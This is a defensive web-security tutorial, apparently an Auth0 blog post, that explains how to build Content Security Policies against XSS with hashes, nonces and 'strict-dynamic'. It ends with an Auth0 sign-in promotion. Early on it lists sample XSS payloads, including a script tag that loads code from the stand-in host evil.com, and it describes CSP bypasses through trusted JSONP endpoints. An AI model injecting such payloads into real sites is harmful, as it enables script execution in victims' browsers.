Sign Up
Hero

Defending against XSS with CSP

Learn how to use Content Security Policy (CSP) to prevent the execution of malicious script code in your application.

TL;DR: Content Security Policy (CSP) started as a simple defense but quickly evolved into a complex security policy. This article investigates how to build an effective CSP policy to counter XSS vulnerabilities. Concretely, we use step-by-step examples to highlight bypasses against CSP and examine how to use nonces, hashes, and 'strict-dynamic' to build a robust CSP policy for modern applications.

What Is CSP?

The first version of Content Security Policy (CSP) was implemented in 2010 and discussed in an academic paper authored by people from Mozilla. The paper described how a developer could define a security policy to tell the browser exactly which resources can be loaded in a web application.

The idea behind CSP was met with great enthusiasm, but it turns out that controlling the loading of resources in modern applications is a bit more complicated than initially thought. Nonetheless, CSP has been under constant development and still is today.

An essential responsibility of a modern-day CSP policy is to act as a second line of defense against XSS vulnerabilities. Based on the historical track record of virtually every web application, it is almost certain that the application will be vulnerable at XSS at some point. What if CSP policy could stop the attacker from exploiting that vulnerability?

That's what we will explore in this article. We'll start with the basics and gradually dive deeper and deeper into more recent CSP features.

Before we get started, note that deploying CSP does not absolve you from the responsibility of following secure coding guidelines to avoid XSS vulnerabilities in the first place. CSP only offers a second line of defense in case something goes wrong.

Let's dive in!

Blocking Script Execution with CSP

When an application contains an XSS vulnerability, user-provided data is picked up by the browser as executable code. For example, a malicious user can change their name to philippe<script>evilCode()</script>. When another user of the application visits the malicious user's profile, their browser will see the malicious code and execute it. That gives the malicious user control over the application's execution context in the victim's browser.

If this short recap of XSS vulnerabilities sounds confusing, I recommend you check out this in-depth article on XSS first.

For the remainder of this article, we assume that the application contains an XSS vulnerability that a malicious user can exploit. To exploit such a vulnerability, the attacker can use a variety of payloads. This code snippet lists a few different options:

<!-- Inline code -->
<img src="none.png" onerror="evilCode()">

<!-- Code block -->
<script>evilCode()</script>

<!-- Remote code file -->
<script src="https://evil.com/code.js"></script>

CSP aims to prevent the execution of each of these attack vectors. To achieve that, CSP enforces restrictions on which script code can be executed. The snippet below shows a CSP response header with a minimal policy configuration:

Content-Security-Policy: script-src 'self'

The server includes this header on the response that sends an HTML page to the browser. This policy configuration tells the browser that this page can only execute scripts coming from its own origin.

Concretely, this means that if the application is running on https://example.com/app, the browser only executes remote JavaScript code coming from https://example.com. Anything else is blocked.

Our first attack vector from before relied on inline code to trigger the execution of malicious code. This code is present in the page, but the browser has no idea whether this code is supposed to be there. It is not loaded from https://example.com, so it will not execute.

Similarly, the provenance of inline code blocks is unknown, so they are not executed.

Finally, the remote code file is loaded from https://evil.com. Since https://evil.com does not correspond to the application's origin, https://example.com, the browser will refuse to load this file.

As you can see, CSP blocks the execution of all potentially dubious JavaScript code. Well, actually, this CSP policy blocks the execution of all JavaScript code that is not remotely loaded from the application's origin.

This means that if the application relies on inline event handlers, such as onload or onclick, that code will not execute. Similarly, if the application uses inline code blocks, they will not be executed.

🖥 A running example of this setup is provided by the /basics endpoint of this Express demo application.

Unsurprisingly, such a CSP policy is wildly incompatible with many applications. Even today, we often rely on inline code blocks to load JavaScript code into the application.

CSP Level 2 introduces hashes and nonces to address these incompatibilities.

CSP Level 2

CSP Level 2 aims to make CSP more compatible with real-world applications without compromising security. Let's look at two mechanisms introduced in CSP Level 2: hashes and nonces.

CSP script hashes

Many applications rely on inline script blocks to load legitimate JavaScript code. The snippet below shows a simplified example:

<button id="hello">Say Hello!</button>
<script>
document.addEventListener("DOMContentLoaded", () => {
  document.getElementById("hello")
      .addEventListener("click", () => { alert("Hello!")});
})
</script>

As discussed before, the configuration of a CSP policy prevents this legitimate code from executing. However, CSP Level 2 allows us to include the hash of a script block in our policy. The snippet below shows a CSP policy that allows this code block to execute:

Content-Security-Policy: script-src 'sha256-6X6+1K/DKkKDJXeIXoOfaIX+FzybN9LaGtutkR5DWpQ='

When the browser loads the page, it encounters the script block. It now calculates the hash and checks if it is listed in the CSP policy as a legitimate script block.

🖥 A running example of this setup is provided by the /hashes endpoint of this Express demo application.

The security of this mechanism relies on the underlying properties of a hashing function. Only this exact piece of code will yield the hash we included in our policy. Changing a single character, or even adding a single space, would change the hash of the script code.

In a nutshell, hashes only approve a single script block to execute. In CSP Level 2, hashes only work for inline code blocks, not for remote code files. Level 3 will likely support the use of hashes for remote code files as well. Note that at the time of writing, CSP Level 3 is still under development.

Finally, note that you typically do not calculate these hashes manually. If you load your application in a Chromium-based browser, you can find the expected hash in the error messages of the developer console, as shown below:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'".
Either the 'unsafe-inline' keyword, a hash ('sha256-6X6+1K/DKkKDJXeIXoOfaIX+FzybN9LaGtutkR5DWpQ='), or a nonce ('nonce-...') is required to enable inline execution.

If you're confident that the hash shown in the message belongs to your legitimate code block, you can copy/paste it into the CSP policy.

CSP script nonces

CSP Level 2 introduces a second mechanism to allow the execution of legitimate JavaScript code: nonces. The snippet below shows the HTML of a legitimate application using nonces:

<button id="hello">Say Hello!</button>
<script nonce="1f40e4a23493">
document.addEventListener("DOMContentLoaded", () => {
  document.getElementById("hello")
      .addEventListener("click", () => { alert("Hello!")});
})
</script>

As you can see, the script block is now configured with a nonce attribute. The same nonce value occurs in the CSP policy configuration, as shown below:

Content-Security-Policy: script-src 'nonce-1f40e4a23493'

When the browser encounters an inline script block, it compares the value of the nonce attribute to the value included in the CSP policy. Matching nonces imply that this code block is a part of the legitimate application instead of being injected by an attacker.

One crucial requirement for using nonces is that they have to be fresh on every page load. Nonces should be generated from a cryptographically secure random source and should never be re-used. Otherwise, an attacker can predict the nonce and include a valid nonce on injected code blocks.

Contrary to hashes, nonces can also be used on remote code files. The CSP policy configuration from above does not approve any external sources for loading JavaScript. In practice, this means that the code file loaded in the snippet below should be blocked:

<script src="https://analytics.example.com/1.js" nonce="1f40e4a23493"></script>

However, adding a nonce to the script tag loading a remote file suffices to tell the browser that this code is legitimate.

🖥 A running example of this setup is provided by the /nonces endpoint of this Express demo application.

Ignoring 'unsafe-inline'

Now that we have come this far, it's time for a confession. The statement that inline code cannot be executed without using nonces or hashes was not entirely correct. Even before CSP Level 2, there was a way to execute inline JavaScript code.

CSP supports a special keyword for the script-src directive: 'unsafe-inline'. This keyword tells the browser to execute all inline JavaScript. This enables legitimate application code to execute, but also allows injected code to be executed. As a result, 'unsafe-inline' disables the protections offered by CSP.

Surprisingly, CSP policies with 'unsafe-inline' enabled are pretty standard. However, things are not always as they seem. CSP Level 2 states that if a policy contains a hash or a nonce, the browser should ignore any occurrence of 'unsafe-inline'.

This detail will become relevant when discussing Google's universal CSP policy further down.

CSP by Example

CSP hashes and nonces enable loading inline script blocks, and nonces and URLs allow the loading of remote code files. That's all we need to start building a CSP policy.

Let's build a CSP policy for a sample app. In our app, we have three relevant JavaScript features:

  • We load custom script code from our own origin
  • We load the Bootstrap JavaScript script code from a CDN
  • We embed a Twitter timeline into our homepage

🖥 You can follow along in the running example. The /twitter-step0 endpoint of this Express demo application offers a clean starting point without CSP. A screenshot of the application is shown below:

Approving the application's script code

The application needs to load code from its own origin, so let's start by adding the following CSP configuration:

Content-Security-Policy: script-src 'self'

🖥 You can find this setup in the /twitter-step1 endpoint of the demo. A screenshot of the application is shown below.

Loading JS from a CDN

Next, we want to load the Bootstrap code from the CDN. Let's update the policy to allow loading resources from that host:

Content-Security-Policy: script-src 'self' https://cdn.jsdelivr.net

🖥 You can find this setup in the /twitter-step2 endpoint of the demo. A screenshot of the application is shown below:

Loading the Twitter timeline

So far, so good. The only error left to address is loading the Twitter code that will replace our anchor tag with the timeline. This code is included as in an inline code block. It is static code, so the easiest way to enable that is by including the hash of the code block:

Content-Security-Policy: 
  script-src 'self' https://cdn.jsdelivr.net
             'sha256-sJLd4PYo4s+MAefGQBAz5MPUGAPfv94fjxJBqfrunUA='

🖥 You can find this setup in the /twitter-step3 endpoint of the demo. A screenshot of the application is shown below.

Reloading the page does not give the expected result. This code block is trying to load additional resources from https://platform.twitter.com/widgets.js. We'll have to adjust our policy to allow that to happen:

Content-Security-Policy: 
  script-src 'self' https://cdn.jsdelivr.net
             'sha256-sJLd4PYo4s+MAefGQBAz5MPUGAPfv94fjxJBqfrunUA='
             https://platform.twitter.com

🖥 You can find this setup in the /twitter-step4 endpoint of the demo. A screenshot of the application is shown below:

Reloading shows you that the widgets.js file is loaded, but it needs another code file. This time, the browser is trying to load a file from https://cdn.syndication.twimg.com. Let's adjust our policy for that new location.

Content-Security-Policy: 
  script-src 'self' https://cdn.jsdelivr.net
             'sha256-sJLd4PYo4s+MAefGQBAz5MPUGAPfv94fjxJBqfrunUA='
             https://platform.twitter.com
             https://cdn.syndication.twimg.com

🖥 You can find this setup in the /twitter-step5 endpoint of the demo. A screenshot of the application is shown below.

Reloading the page once more should make you happy. We finally see our jokes!

Wrapping up

🖥 You can see the result in the /twitter-step5 endpoint of this Express demo application.

As we have shown, building real-world CSP policies can be quite challenging. It takes several iterations to get things right. Additionally, our policy is quite fragile. If Twitter decides to change its code tomorrow, our timeline may not load anymore because of CSP.

In a nutshell, not an ideal scenario. And it gets worse (before it gets better).

CSP is Dead, Long Live CSP

The title above is borrowed from a research paper that shook up the entire world of CSP. Google security engineers looked into real-world complex CSP Level 2 policies, such as the one we built in our example before. They discovered that many of these CSP policies could be bypassed, effectively voiding most of their security benefits. Fortunately, they also offer a solution, so let's dive right in.

The issue with CSP

So, what is the issue with CSP? In a nutshell, it turns out that many real-world CSP policies contain patterns that allow an attacker to bypass the policy.

Let's take a step back here. The goal of CSP was to prevent an injected XSS payload from executing. This implies that the application under protection has an XSS vulnerability, which allows an attacker to inject malicious code.

Under that assumption, the attacker can likely inject arbitrary code. A straight-up XSS payload, such as an inline script block, will be stopped by most real-world CSP policies. However, a carefully crafted payload may not be stopped.

One example provided in the paper is abusing a JSONP endpoint hosted on an approved CDN (See this explanation for more context on JSONP). We even have that exact vulnerability in our sample application hosting the Twitter timeline. We approved https://cdn.syndication.twimg.com, a CDN that contains Twitter code but also contains JSONP endpoints.

As a result, an attacker can inject a payload that uses the JSONP endpoint to return malicious code. Since this endpoint is hosted by Twitter's CDN, our CSP policy does not stop this code from being loaded. In essence, the policy fails to prevent the attacker from abusing the underlying XSS vulnerability.

Unfortunately, going deeper into the various bypasses against CSP would take us too far in this article. The paper and interesting conference talk by the authors offer more details if you are interested.

The vital part of this research is the take-away: URL-based CSP policies are ineffective. The paper recommends abandoning URL-based policies in favor of hash-based and nonce-based policies.

To make that work, we need a mechanism to enable cascading JavaScript loading, as we have in our Twitter timeline. That's where the Long Live CSP part comes in.

Automatic trust propagation with 'strict-dynamic'

The paper we mentioned before introduces a new CSP keyword: 'strict-dynamic'. This keyword loosely tells the browser:

If you encounter a script that was loaded with a hash or a nonce, you can allow that script to load remote code dependencies by inserting additional script elements into the page

In essence, 'strict-dynamic' offers an automatic trust propagation mechanism, where previously trusted scripts are allowed to load additional resources. This approach may sound insecure but does nothing more than mimic the manual process we followed when building the policy to approve the Twitter timeline. We also added any host Twitter wanted to get the timeline working. 'strict-dynamic' just automates the process.

Since 'strict-dynamic' was introduced to counter URL-based bypass attacks, it is incompatible with URLs. 'strict-dynamic' only allows scripts that have been approved with a nonce or a hash to load additional resources. In fact, when a browser encounters 'strict-dynamic', it will automatically ignore URL-based expressions.

In practice, this means we can update our Twitter timeline example and change the policy to the one shown below:

Content-Security-Policy: script-src 'nonce-aQFUZWWi5Xo4YzkEXxg1Xg==' 'strict-dynamic'

This updated policy no longer contains URLs but relies on nonces and 'strict-dynamic'. As a result, this policy no longer suffers from bypass attacks that load scripts from approved hosts.

🖥 A running example of this setup is provided by the /strict-dynamic endpoint of this Express demo application.

Ramping up CSP security

In their research paper, the authors describe a couple of bypasses against traditional CSP policies. One of these involves the loading of vulnerable Flash files, which then trigger JavaScript code execution.

While Flash is mostly gone now, it still makes sense to prevent the loading of embedded content using the object-src directive. Below is an updated version of our CSP policy to mitigate this attack vector:

Content-Security-Policy: 
  script-src 'nonce-aQFUZWWi5Xo4YzkEXxg1Xg==' 'strict-dynamic';
  object-src 'none'

There's also a third CSP directive that should be present in every policy: base-uri. This directive prevents the injection of a malicious base tag, which can change how relative URLs are resolved. Such an attack is known as base jumping.

Setting the base-uri directive to 'self' instructs the browser only to allow the application's origin as the base for relative URL resolution. This is a sane default for almost any application.

The policy shown below includes the addition of the base-uri directive:

Content-Security-Policy: 
  script-src 'nonce-aQFUZWWi5Xo4YzkEXxg1Xg==' 'strict-dynamic';
  object-src 'none'; 
  base-uri 'self'

Google's Universal CSP Policy

We now have all the building blocks to create an effective CSP policy that acts as a second line of defense against XSS.

How you build a policy depends a bit on your specific situation. We will discuss a few scenarios for Single Page Applications in the second post in this series. For now, let's look at how Google opted to deploy Content Security Policy.

The policy

Various Google properties rely on CSP as a second line of defense against XSS vulnerabilities. Google prefers a set and forget approach to CSP. Concretely, this means that they want to use a policy that offers effective protection against XSS vulnerabilities without potentially breaking any of their applications.

The snippet below shows the CSP policy Google uses, as observed on Google Hangouts (https://hangouts.google.com). Note that the policy is formatted for readability.:

Content-Security-Policy: 
  script-src 'report-sample' 'nonce-3YCIqzKGd5cxaIoTibrW/A' 'unsafe-inline'
             'strict-dynamic' https: http: 'unsafe-eval';
  object-src 'none';
  base-uri 'self';
  report-uri /webchat/_/cspreport

🖥 A running example of this setup is provided by the /universal-csp endpoint of this Express demo application.

A lot is going on with this policy, mainly to ensure backward compatibility with older browsers. Let's unpack this step by step.

What a modern browser sees

Google's policy is designed to work with modern browsers that support 'strict-dynamic', which includes most browsers these days.

The snippet below shows the policy as enforced by a modern browser.

Content-Security-Policy: 
  script-src 'report-sample' 'nonce-3YCIqzKGd5cxaIoTibrW/A'
             'strict-dynamic' 'unsafe-eval';
  object-src 'none';
  base-uri 'self';
  report-uri /webchat/_/cspreport

That looks quite different than the policy sent by Google. Here's what changes:

  • A modern browser recognizes the nonce, which causes the 'unsafe-inline' keyword to be ignored.
  • A modern browser recognizes 'strict-dynamic', which causes any URL-based expressions (i.e., http: https:) to be ignored.

The resulting CSP policy is a nonce-based policy that uses 'strict-dynamic' for automatic trust propagation. This is considered a secure policy that offers an effective second line of defense against XSS.

Note that at the time of writing, the Safari Technology Preview added support for 'strict-dynamic'. This feature is expected to land in Safari in 2022, bringing it up to speed with other modern browsers.

What legacy browsers see

Legacy browsers that only support CSP Level 2, or even Level 1, will see a different policy.

The snippet below shows how Safari, which only supports CSP Level 2, observes the policy.

Content-Security-Policy: 
  script-src 'report-sample' 'nonce-3YCIqzKGd5cxaIoTibrW/A'
             https: http: 'unsafe-eval';
  object-src 'none';
  base-uri 'self';
  report-uri /webchat/_/cspreport

Here's what changes in the policy when observed by Safari:

  • Safari recognizes the nonce, which causes it to ignore 'unsafe-inline'.
  • Safari has no idea what 'strict-dynamic' means, so it ignores that value. Instead, it uses the URL-based expressions (i.e., http: https:)

Concretely, this means that this CSP policy is no longer effective. It does not offer any meaningful protection against the exploitation of an XSS vulnerability in the application.

The only advantage of this policy is that it does not break the application on Safari. Without the URL-based expressions, Safari would not be able to load remote code files that are otherwise approved with 'strict-dynamic'. In essence, the observed policy is an insecure backward-compatible version.

Remember that at the time of writing, the Safari Technology Preview added support for 'strict-dynamic'. This feature is expected to land in Safari in 2022, bringing it up to speed with other modern browsers.

A similar story holds for Internet Explorer, which only supports CSP Level 1. That browser sees the following policy:

Content-Security-Policy: 
  script-src 'report-sample' 'unsafe-inline'
             https: http: 'unsafe-eval';
  object-src 'none';
  base-uri 'self';
  report-uri /webchat/_/cspreport

In essence, this policy offers no protection but also does not cause the application to break in Internet Explorer.

Additional details

Finally, there are a couple of additional details in Google's policy that we have not yet discussed.

First, the script-src directive also includes the 'unsafe-eval' keyword. By default, CSP prevents the use of the eval() function in JavaScript. eval() evaluates text as code, which is inherently insecure behavior. However, it turns out that abuses of eval() are not as common as previously thought. Additionally, many applications rely on eval() for some more exotic purposes. That's why many CSP policies re-enable the use of eval() by adding 'unsafe-eval'.

Second, you may have noticed the report-uri directive. This directive instructs the browser to send a report when it encounters a policy violation. We'll discuss reporting in more depth in a follow-up article.

Finally, the script-src directive also contains the 'report-sample' keyword. This instructs the browser to include a piece of a blocked script when sending a report. We'll discuss that later when we dive into reporting.

Final words

In a nutshell, this universal CSP policy discussed here offers a robust second line of defense against XSS attacks. Only code approved by a nonce will be executed when the browser parses the initial HTML page. Once a piece of code is loaded, it can load additional dependencies because of 'strict-dynamic'.

The drawback of this policy is the lack of support for older browsers. To be fair, this drawback is not that significant. Modern browsers all support 'strict-dynamic', and building a secure CSP policy for IE 11 is virtually impossible.

Of course, you are recommended to evaluate which approach to CSP works best for your specific situation.

Using CSP with SPAs

CSP sounds awesome! But how can we use CSP in our Single Page Application?

Unfortunately, there is no easy question to that answer. SPAs rely on remote code files, which do not work with CSP hashes. Nonces have to be fresh on every page load, which conflicts with the static nature of a SPA application bundle.

In a follow-up article, we will investigate different approaches to use CSP on Single Page Applications. We will offer you concrete guidance on deploying CSP in your SPA.

Aside: Auth0 Authentication with JavaScript

At Auth0, we make heavy use of full-stack JavaScript to help our customers to manage user identities, including password resets, creating, provisioning, blocking, and deleting users. Therefore, it must come as no surprise that using our identity management platform on JavaScript web apps is a piece of cake.

Auth0 offers a free tier to get started with modern authentication. Check it out, or sign up for a free Auth0 account here!

Then, go to the Applications section of the Auth0 Dashboard and click on "Create Application". On the dialog shown, set the name of your application and select Single Page Web Applications as the application type:

After the application has been created, click on "Settings" and take note of the domain and client id assigned to your application. In addition, set the Allowed Callback URLs and Allowed Logout URLs fields to the URL of the page that will handle login and logout responses from Auth0. In the current example, the URL of the page that will contain the code you are going to write (e.g. http://localhost:8080).

Now, in your JavaScript project, install the auth0-spa-js library like so:

npm install @auth0/auth0-spa-js

Then, implement the following in your JavaScript app:

import createAuth0Client from '@auth0/auth0-spa-js';

let auth0Client;

async function createClient() {
  return await createAuth0Client({
    domain: 'YOUR_DOMAIN',
    client_id: 'YOUR_CLIENT_ID',
  });
}

async function login() {
  await auth0Client.loginWithRedirect();
}

function logout() {
  auth0Client.logout();
}

async function handleRedirectCallback() {
  const isAuthenticated = await auth0Client.isAuthenticated();

  if (!isAuthenticated) {
    const query = window.location.search;
    if (query.includes('code=') && query.includes('state=')) {
      await auth0Client.handleRedirectCallback();
      window.history.replaceState({}, document.title, '/');
    }
  }

  await updateUI();
}

async function updateUI() {
  const isAuthenticated = await auth0Client.isAuthenticated();

  const btnLogin = document.getElementById('btn-login');
  const btnLogout = document.getElementById('btn-logout');

  btnLogin.addEventListener('click', login);
  btnLogout.addEventListener('click', logout);

  btnLogin.style.display = isAuthenticated ? 'none' : 'block';
  btnLogout.style.display = isAuthenticated ? 'block' : 'none';

  if (isAuthenticated) {
    const username = document.getElementById('username');
    const user = await auth0Client.getUser();

    username.innerText = user.name;
  }
}

window.addEventListener('load', async () => {
  auth0Client = await createClient();

  await handleRedirectCallback();
});

Replace the YOUR_DOMAIN and YOUR_CLIENT_ID placeholders with the actual values for the domain and client id you found in your Auth0 Dashboard.

Then, create your UI with the following markup:

<p>Welcome <span id="username"></span></p>
<button type="submit" id="btn-login">Sign In</button>
<button type="submit" id="btn-logout" style="display:none;">Sign Out</button>

Your application is ready to authenticate with Auth0!

Check out the Auth0 SPA SDK documentation to learn more about authentication and authorization with JavaScript and Auth0.